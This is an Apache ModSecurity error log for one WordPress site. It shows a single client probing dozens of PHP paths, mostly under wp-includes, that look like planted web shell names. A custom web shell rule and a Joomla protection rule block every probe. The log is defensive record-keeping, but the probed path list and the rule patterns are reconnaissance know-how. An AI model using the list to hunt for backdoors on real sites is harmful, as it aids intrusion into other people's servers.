[Wed Apr 08 13:55:11.495751 2026] [:error] [pid 12386:tid 12423] [client 185.153.151.165:42004] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "adXtvxLhhLtqHi2gK7Vd1wAAAQc"]
[Wed Apr 08 13:55:12.523516 2026] [:error] [pid 35642:tid 35665] [client 185.153.151.165:42012] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "adXtwA-CqryxdEs5DN9GXAAAAFU"]
[Wed Apr 08 13:55:13.201171 2026] [:error] [pid 12453:tid 12461] [client 185.153.151.165:42016] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "adXtwRjtW7S6XsLPvrQr9QAAAIY"]
[Wed Apr 08 13:55:14.919777 2026] [:error] [pid 12490:tid 12507] [client 185.153.151.165:42024] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "adXtwm1Fea4F4fbumr2GcQAAAM8"]
[Wed Apr 08 13:55:16.367717 2026] [:error] [pid 35642:tid 35660] [client 185.153.151.165:42040] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "adXtxA-CqryxdEs5DN9GcgAAAFA"]
[Wed Apr 08 13:55:19.818934 2026] [:error] [pid 12385:tid 12407] [client 185.153.151.165:42048] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "adXtxyAjtvRQEkLosq0IGgAAABI"]
[Wed Apr 08 13:55:20.493517 2026] [:error] [pid 12453:tid 12466] [client 185.153.151.165:33708] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "adXtyBjtW7S6XsLPvrQsKQAAAIs"]
[Wed Apr 08 13:55:21.529706 2026] [:error] [pid 12385:tid 12389] [client 185.153.151.165:33710] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/count.php"] [unique_id "adXtySAjtvRQEkLosq0IJgAAAAA"]
[Wed Apr 08 13:55:24.341136 2026] [:error] [pid 35642:tid 35658] [client 185.153.151.165:33718] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "adXtzA-CqryxdEs5DN9GmAAAAE4"]
[Wed Apr 08 13:55:25.743644 2026] [:error] [pid 12453:tid 12456] [client 185.153.151.165:33732] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "measureyourbrand.com.au"] [uri "/images/stories/themes.php"] [unique_id "adXtzRjtW7S6XsLPvrQsTQAAAIE"]
[Wed Apr 08 13:55:26.081901 2026] [:error] [pid 12453:tid 12458] [client 185.153.151.165:33732] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "adXtzhjtW7S6XsLPvrQsUQAAAIM"]
[Wed Apr 08 13:55:27.460678 2026] [:error] [pid 12490:tid 12516] [client 185.153.151.165:33740] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "adXtz21Fea4F4fbumr2GvQAAANg"]
[Wed Apr 08 13:55:28.154752 2026] [:error] [pid 12386:tid 12418] [client 185.153.151.165:33750] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "adXt0BLhhLtqHi2gK7VeEAAAAQI"]
[Wed Apr 08 13:55:32.423041 2026] [:error] [pid 35642:tid 35661] [client 185.153.151.165:40680] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "adXt1A-CqryxdEs5DN9GzAAAAFE"]
[Wed Apr 08 13:55:33.807182 2026] [:error] [pid 12490:tid 12502] [client 185.153.151.165:40684] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "adXt1W1Fea4F4fbumr2G_QAAAMo"]
[Wed Apr 08 13:55:34.839086 2026] [:error] [pid 12490:tid 12505] [client 185.153.151.165:40694] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "adXt1m1Fea4F4fbumr2HBAAAAM0"]
[Wed Apr 08 13:55:37.304108 2026] [:error] [pid 12386:tid 12427] [client 185.153.151.165:40700] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "adXt2RLhhLtqHi2gK7VeNAAAAQs"]
[Wed Apr 08 13:55:37.996492 2026] [:error] [pid 12453:tid 12461] [client 185.153.151.165:40712] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/colour.php"] [unique_id "adXt2RjtW7S6XsLPvrQslgAAAIY"]
[Wed Apr 08 13:55:39.044563 2026] [:error] [pid 12386:tid 12432] [client 185.153.151.165:40722] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "adXt2xLhhLtqHi2gK7VeOAAAARA"]
[Wed Apr 08 13:55:39.742918 2026] [:error] [pid 12490:tid 12503] [client 185.153.151.165:49204] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "adXt221Fea4F4fbumr2HMgAAAMs"]
[Wed Apr 08 13:55:41.147289 2026] [:error] [pid 12490:tid 12502] [client 185.153.151.165:49206] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "adXt3W1Fea4F4fbumr2HRAAAAMo"]
[Wed Apr 08 13:55:42.528421 2026] [:error] [pid 12490:tid 12512] [client 185.153.151.165:49220] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "adXt3m1Fea4F4fbumr2HVQAAANQ"]
[Wed Apr 08 13:55:43.206802 2026] [:error] [pid 12490:tid 12514] [client 185.153.151.165:49222] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "adXt321Fea4F4fbumr2HXAAAANY"]
[Wed Apr 08 13:55:45.290426 2026] [:error] [pid 35642:tid 35655] [client 185.153.151.165:49238] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "adXt4Q-CqryxdEs5DN9HDAAAAEs"]
[Wed Apr 08 13:55:46.691096 2026] [:error] [pid 12386:tid 12433] [client 185.153.151.165:49240] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "adXt4hLhhLtqHi2gK7VeTgAAARE"]
[Wed Apr 08 13:55:48.454697 2026] [:error] [pid 35642:tid 35660] [client 185.153.151.165:49254] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "adXt5A-CqryxdEs5DN9HIwAAAFA"]
[Wed Apr 08 13:55:49.140306 2026] [:error] [pid 12385:tid 12403] [client 185.153.151.165:29319] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "adXt5SAjtvRQEkLosq0IVwAAAA4"]
[Wed Apr 08 13:55:49.837870 2026] [:error] [pid 12385:tid 12409] [client 185.153.151.165:46254] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "adXt5SAjtvRQEkLosq0IWwAAABQ"]
[Wed Apr 08 13:55:51.245641 2026] [:error] [pid 12386:tid 12432] [client 185.153.151.165:46256] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "adXt5xLhhLtqHi2gK7VeagAAARA"]
[Wed Apr 08 13:55:52.670497 2026] [:error] [pid 12386:tid 12426] [client 185.153.151.165:46268] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "adXt6BLhhLtqHi2gK7VecwAAAQo"]
[Wed Apr 08 13:55:53.394510 2026] [:error] [pid 12385:tid 12413] [client 185.153.151.165:46270] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "adXt6SAjtvRQEkLosq0IXgAAABg"]
[Wed Apr 08 13:55:54.439804 2026] [:error] [pid 12490:tid 12513] [client 185.153.151.165:46284] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "adXt6m1Fea4F4fbumr2HvgAAANU"]
[Wed Apr 08 13:55:55.130198 2026] [:error] [pid 12490:tid 12508] [client 185.153.151.165:46288] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "adXt621Fea4F4fbumr2HxgAAANA"]
[Wed Apr 08 13:55:56.522248 2026] [:error] [pid 35642:tid 35649] [client 185.153.151.165:46290] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "adXt7A-CqryxdEs5DN9HUwAAAEU"]
[Wed Apr 08 13:55:57.566695 2026] [:error] [pid 12490:tid 12509] [client 185.153.151.165:46294] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "adXt7W1Fea4F4fbumr2H3AAAANE"]
[Wed Apr 08 13:55:58.259397 2026] [:error] [pid 12490:tid 12504] [client 185.153.151.165:46296] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "adXt7m1Fea4F4fbumr2H4wAAAMw"]
[Wed Apr 08 13:55:58.958582 2026] [:error] [pid 12490:tid 12495] [client 185.153.151.165:53034] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "adXt7m1Fea4F4fbumr2H6QAAAMM"]
[Wed Apr 08 13:56:01.719836 2026] [:error] [pid 12453:tid 12455] [client 185.153.151.165:53050] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "adXt8RjtW7S6XsLPvrQs_gAAAIA"]
[Wed Apr 08 13:56:03.122676 2026] [:error] [pid 12386:tid 12422] [client 185.153.151.165:53062] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "adXt8xLhhLtqHi2gK7VejAAAAQY"]
[Wed Apr 08 13:56:04.148959 2026] [:error] [pid 12386:tid 12418] [client 185.153.151.165:16168] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "adXt9BLhhLtqHi2gK7VelAAAAQI"]
[Wed Apr 08 13:56:05.191758 2026] [:error] [pid 12453:tid 12455] [client 185.153.151.165:53076] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "adXt9RjtW7S6XsLPvrQtCAAAAIA"]
[Wed Apr 08 13:56:07.940067 2026] [:error] [pid 12490:tid 12503] [client 185.153.151.165:53078] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "adXt921Fea4F4fbumr2IRAAAAMs"]
[Wed Apr 08 13:56:08.624906 2026] [:error] [pid 12385:tid 12389] [client 185.153.151.165:12493] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "adXt-CAjtvRQEkLosq0IcwAAAAA"]
[Wed Apr 08 13:56:10.019376 2026] [:error] [pid 12386:tid 12431] [client 185.153.151.165:44330] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "adXt-hLhhLtqHi2gK7VepAAAAQ8"]
[Wed Apr 08 13:56:12.128581 2026] [:error] [pid 35642:tid 35654] [client 185.153.151.165:44332] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "adXt_A-CqryxdEs5DN9HwAAAAEo"]
[Wed Apr 08 13:56:13.520358 2026] [:error] [pid 12490:tid 12499] [client 185.153.151.165:44334] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "adXt_W1Fea4F4fbumr2IbgAAAMc"]
[Wed Apr 08 13:56:14.903819 2026] [:error] [pid 12453:tid 12464] [client 185.153.151.165:44340] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "adXt_hjtW7S6XsLPvrQtPAAAAIk"]
[Wed Apr 08 13:56:17.424555 2026] [:error] [pid 12490:tid 12504] [client 185.153.151.165:44356] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "adXuAW1Fea4F4fbumr2IjgAAAMw"]
[Wed Apr 08 13:56:18.458774 2026] [:error] [pid 12490:tid 12494] [client 185.153.151.165:44364] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "adXuAm1Fea4F4fbumr2IlAAAAMI"]
[Wed Apr 08 13:56:20.516885 2026] [:error] [pid 35642:tid 35648] [client 185.153.151.165:33484] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "adXuBA-CqryxdEs5DN9H8wAAAEQ"]
[Wed Apr 08 13:56:22.224629 2026] [:error] [pid 12490:tid 12514] [client 185.153.151.165:33500] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "adXuBm1Fea4F4fbumr2IvAAAANY"]
[Wed Apr 08 13:56:22.919398 2026] [proxy_fcgi:error] [pid 12453:tid 12477] [client 185.153.151.165:33504] AH01071: Got error 'Primary script unknown'
